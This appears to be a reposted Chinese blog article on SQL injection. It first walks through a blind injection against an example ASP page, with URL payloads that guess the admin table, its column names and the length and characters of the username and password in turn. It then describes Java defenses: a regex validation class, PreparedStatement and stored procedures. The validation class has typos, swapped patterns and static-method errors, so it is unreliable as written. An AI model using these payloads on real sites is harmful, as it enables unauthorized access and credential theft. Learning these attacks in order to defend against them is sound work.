- 浏览: 577157 次
- 性别:
- 来自: 北京
文章分类
- 全部博客 (237)
- Java (48)
- Flex3 (43)
- Spring (7)
- Hibernate (7)
- 杂文 (2)
- 设计模式 (3)
- 数据库相关 (32)
- Eclipse开发环境 (10)
- C/C++ (1)
- 随笔 (1)
- 生活点滴 (2)
- Flex4 (3)
- Oracle (6)
- SQLServer (6)
- Degrafa (1)
- ActionScript (2)
- JavaScript (11)
- MySQL (8)
- 开源项目 (4)
- AspectJ (0)
- Spring Security (1)
- SSO (0)
- PV3D (2)
- JBPM (1)
- JBoss (0)
- Tomcat (5)
- Struts (1)
- WebService (2)
- 算法 (1)
- 数据结构 (1)
- POI (2)
- Lucene (2)
- 其他 (3)
- Blazeds (2)
- Alternative 3D (0)
- Ibatis (3)
- Intellij (3)
- freemaker (0)
- Maven (5)
- web (4)
- Eclipse (1)
- velocity (1)
- Linux (7)
- CXF (3)
- html (2)
- JVM (1)
最新评论
-
jpsb:
多谢楼主,问题解决,主要就是svn版本不同导致的
Eclipse 导入本地svn项目的问题 -
yycdaizi:
lanmolsz 写道无法同意楼主的说法,楼主所谓的晚捕捉就是 ...
Java异常处理原则 -
lanmolsz:
无法同意楼主的说法,楼主所谓的晚捕捉就是典型的让异常控制程序的 ...
Java异常处理原则 -
cici_new_1987:
...
Java异常处理原则 -
雁行:
倒是怀疑这个功能来着
Eclipse 导入本地svn项目的问题
以下内容转自:http://leves.iteye.com/blog/353842
举例一个来自网上的典型sql注入的过程分析:
如: 打开:http://hostlocal/test2/list.asp?id=17在其后面加'为http://hostlocal/test2/list.asp?id=17'
出错!显示为:“数据库出错”。那么接下来我们便进行如下操作:
1 猜管理员帐号表。
2 猜相应表中的用户的字段名以及密码的字段名。
3 猜出用户名的长度和密码的长度
4 猜出用户和密码
5 找到管理页面进入管理
猜管理员的表:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)'//min(id)返回表中ID最小值
返回文章证明,有一个admin的表;如果没有返回文章,证明出错不存在admin这个表。
猜用户的字段名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user='aaa')返回错误信息,表示没有user这个用户段名
再来!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username='aaa')
没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin中存在username个字段,只是用户名不是aaa
猜密码的字段名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where passwd='aaa')返回错误信息表示没有passwd这个密码字段名。
再来:http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where password=aaa')没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin中存在password这个字段,只是密码不是aaa
猜用户字段名长度:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)
>5)
正确
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10)
正确
用户名长度大于5小于10
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)
=7)
呵``` 用户名长度为7位
猜密码长度:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)
正确
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10)
正确
密码长度也是大于5小于10
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)
呵``` 密码长度为7位
猜用户名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)='a')
用户名第一个字母是:a
猜用户名第二位:http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,2,1)='b')
以此类推!
猜密码:
猜密码跟猜用户名一样!
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)='a')
猜完后来到管理页面:
http://hostlocal/test2/admin.asp
登录
接来来讲述如何防范基于java web开发平台的sql注入防范
一、编写数据验证类
parameterCheck.java
public class parameterCheck{
String emailregex="[’\\w_-]+(\\. [’\\w_-]+)*@[’\\w_-]+(\\.[’\\w_-]+)*\\.[a-zA-Z]{2,4}";
String intregex="^(\\d{5}-\\d{4})| (\\d{5})$";
Stirng zipregex="^-[0-9]+$|^[0-9] +$";
public static Boolean isEmail(string emailString){
return java.util.regex.Pattern.compile(emailregex).matcher(emailString).matches();
}
public static boolean isInt(string intString){
return java.util.regex.Pattern.compile(intregex).matcher(intString).matches();
}
public static boolean isZip(string zipString){
return java.util.regex.Pattern.compile(zipregex).matcher(zipString).matches(); }
}
注:
三种regex 匹配方法 其中public boolean matches(String regex) 此方法调用的 str.matches(regex) 形式与第二种表达式产生完全相同的结果
如果要多次使用一种模式,第三种方法编译一次后重用此模式比每次都调用此方法效率更高。
1.public Boolean java.lang.String.matchs(String regex);
2.public Boolean java.util.regex.Pattern.matches(regex, input);
3.public Boolean java.util.regex.Pattern.compile(regex).matcher(input).matches()
二、始终使用预编译preparedStatement 代替 statement
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES
SET SALARY = ? WHERE ID = ?");
pstmt.setBigDecimal(1, 153833.00)
pstmt.setInt(2, 110592)
预编译首先从名字上就知道提高了程序的执行性能,同时在代码上提高了可读性,最重要的是
在安全性上
三、 使用存储过程
存储过程是数据库端的,经过预编译的过程,在安全性上主要对是一些使用运算符(如 AND 或 OR)将命令附加到有效输入参数值的攻击。在应用程序受到攻击时,存储过程还可以隐藏业务规则的实现。
JDBC API 提供了一个存储过程 SQL 转义语法,该语法允许对所有 RDBMS 使用标准方式调用存储过程。
public interface CallableStatement extends PreparedStatement
无返回结果的过程语法:
{call 过程名[(?, ?, ...)]}
返回结果参数的过程的语法为:
{? = call 过程名[(?, ?, ...)]}
不带参数的已储存过程的语法类似:
{call 过程名}
发表评论
-
基于Canal的mysql数据库同步ElasticSearch方案实现环境搭建
2020-01-07 20:34 0基于Canal的mysql数据库同步ElasticSear ... -
【转载】【MySQL】sync_binlog innodb_flush_log_at_trx_commit 浅析
2016-11-01 19:18 679本文转载自:http://blog.itpub.net/2 ... -
浅谈乐观锁和悲观锁
2016-01-05 16:46 1914在数据库中 ... -
【转载】MySQL事务隔离级别详解
2015-12-22 19:46 923转载自:http://xm-king.iteye.com/ ... -
SQL Server 特殊字符查询处理
2013-07-26 17:34 709SQL Server 用 like 查询时,可用 % 代表任 ... -
SQL Server CONVERT函数
2013-06-26 14:57 1074本文转载自:http://weishang-java.ite ... -
数据库中的Schema
2013-06-15 10:53 1263本文转载自:http://blog.sina.co ... -
SqlServer数据库性能优化详解
2013-06-13 16:04 17648本文转载自:http://blog ... -
聚簇索引和非聚簇索引
2013-06-10 15:55 1497转载自:http://rbq10829.iteye.com/ ... -
三种查看MySQL数据库版本的方法
2013-06-10 15:19 1574本文转载自:http://www.weste.net/20 ... -
MySQL存储引擎
2013-06-10 14:03 961本文转载自:http://meng ... -
常见范式定义
2013-02-16 16:02 1304据库表结构设计时,遵 ... -
关于Spring编程事务分析
2012-11-18 15:33 1072转载自:http://sailinglee.iteye. ... -
SQLServer字典数据统计SQL
2012-07-26 18:08 1096SELECT 表名=case when a. ... -
SQLServer函数DB_ID和OBJECT_ID
2011-10-17 17:45 2311DB_ID 函数 [System] 返回数据库 ID 号。 语 ... -
SQLServer 获取SQL语句性能数据
2011-09-27 17:27 1259转载自:http://code.iteye.com/blog/ ... -
Union all 和 Union
2010-11-16 10:54 1311在Oracle数据中中如果需要用到数据合并,可以选择用U ... -
Oracle kill session
2010-11-10 17:37 1458第一步:查询被锁表的所关联的session信息 ... -
Oracle 特殊查询
2010-08-13 15:37 10281.查询次大记录: select max(to_n ... -
Oracle 存储过程
2010-08-13 14:11 1140create or replace procedure Pro ...
相关推荐
Web安全是保障互联网应用及其数据安全的关键领域,而SQL注入是一种常见的网络安全威胁,攻击者通过构造恶意的SQL语句来欺骗服务器,获取未经授权的数据或执行非法操作。以下将详细阐述SQL注入的基础知识及其防范措施...
### Web安全之SQL注入 #### 一、理解SQL注入及其原理 SQL注入是一种常见的Web应用程序安全漏洞,它允许攻击者将恶意SQL代码插入到查询中,以操纵数据库的行为或提取敏感信息。这种攻击之所以能够成功,主要是由于...
通过主动式防范模型,结合输入验证、数据库防御策略和编程实践中的安全编码技巧,可以有效地构建出能够抵御SQL注入攻击的Web应用系统。这一防范思路不仅适用于当前,也对未来的网络安全防御具有重要的指导意义。
对于现代SQL注入检测大部分都是将语法分析策略为基础,但是此种策略检测的效率较低,并且...实验表示,此防御措施Web应用系统能够对大部分SQL注入攻击进行防范,并且对于Web应用系统中的SQL注入点具有良好的识别效果。
本文在分析了SQL 注入原理的基础上,提出了几点Java Web 环境下防范措施。 随着Ineternet 技术的迅猛发展,为了能更充分地使用互联网这个世界上最大的交流平台,许多单位或个人纷纷建立自己的网站。但是...
SQL注入攻击是网络安全领域中一个严重的问题,它发生在应用程序与数据库交互时,攻击者通过输入恶意的SQL代码,使得数据库执行非预期的操作,可能导致数据泄露、数据篡改甚至整个系统的瘫痪。这篇博客将深入探讨SQL...
了解并掌握SQL注入的各个方面,是保障Web应用安全的关键步骤。作为测试人员,我们应该在开发阶段就积极参与,进行详尽的安全测试,以预防此类问题的发生。同时,教育开发者养成良好的编程习惯,提高整体的安全意识,...
### SQL注入攻击与防范研究 #### 一、SQL注入攻击概述 SQL注入攻击是一种常见的网络安全威胁,主要通过向Web应用程序提交恶意SQL代码来实现。这种攻击利用了Web应用开发过程中未能充分验证用户输入数据的问题,...
### .NET中SQL注入式攻击与防范秘籍 #### SQL注入概述 SQL注入是一种常见的网络安全攻击方式,攻击者通过在数据库查询中插入恶意SQL语句,以达到非法获取数据、篡改数据甚至控制整个数据库的目的。对于使用.NET...
对于使用Python进行Web开发的人员来说,了解如何有效地预防SQL注入是非常重要的。本文将详细介绍几种在Python开发中防止SQL注入的方法,并通过实例来展示这些技术的应用。 #### SQL注入的原因与危害 SQL注入通常...
本文针对SQL注入攻击及其防范措施展开了详细讨论,以下是对文档内容的知识点梳理: 1. SQL注入攻击的定义与原理 SQL注入攻击是一种常见的网络攻击技术,攻击者利用网站应用程序对用户输入数据的合法性判断不足,向...
在当今网络技术迅猛发展的时代,Web应用的安全问题日益凸显,其中SQL注入攻击作为一种常见的网络攻击手段,对数据库的安全性构成了极大的威胁。C#语言因其在开发Microsoft .NET框架应用程序中的主导地位,常用于开发...
随着B/S模式应用开发的增长,Web应用程序的普及使得SQL注入成为了一个严重的安全问题。SQL注入攻击通常发生在面向互联网的Web系统上,尤其是那些未能对用户输入数据进行严格限制的系统。 存在SQL注入的根本原因在于...
- **实验目的**:本实验旨在通过搭建一个简单的Web应用程序,模拟SQL注入攻击的过程,并探讨相应的防御措施,帮助理解SQL注入攻击的基本原理及其防范策略。 #### 二、实验原理 - **SQL注入的概念**:SQL注入是一种...
### SQL注入攻击防范中服务器端安全配置 #### 摘要 随着互联网技术的发展与广泛应用,Web服务器和数据库服务器在日常运营中承担着至关重要的角色。然而,这也使得它们成为了黑客攻击的主要目标之一。其中,SQL注入...
6. Web应用防火墙(WAF):部署专业的Web应用防火墙可以识别并拦截SQL注入攻击尝试。 7. 安全编码:遵循安全编程的最佳实践,采用安全的编程语言和库,及时更新和打补丁,避免使用有明显安全漏洞的代码。 文章还提出...
四、SQL注入防范策略 1. **输入验证**:对用户输入进行严格的过滤和检查,确保只有预期的数据类型和格式才能被接受。 2. **参数化查询/预编译语句**:使用参数化查询能有效防止SQL注入,因为它们将用户输入和SQL...
1. **Web应用安全测试**:在开发阶段对Web应用进行安全测试时,可以使用SQL注入字典来模拟攻击行为,检测应用是否容易受到SQL注入攻击。 2. **渗透测试**:安全咨询公司在为客户进行渗透测试时,会使用SQL注入字典来...
SQL注入分析与防范策略 SQL注入是一种常见的网络攻击方式,通过在Web应用程序中插入恶意的SQL代码,攻击者可以获取敏感信息、篡改数据、甚至控制整个系统。随着互联网的普及,SQL注入攻击的危害性也越来越大。 一...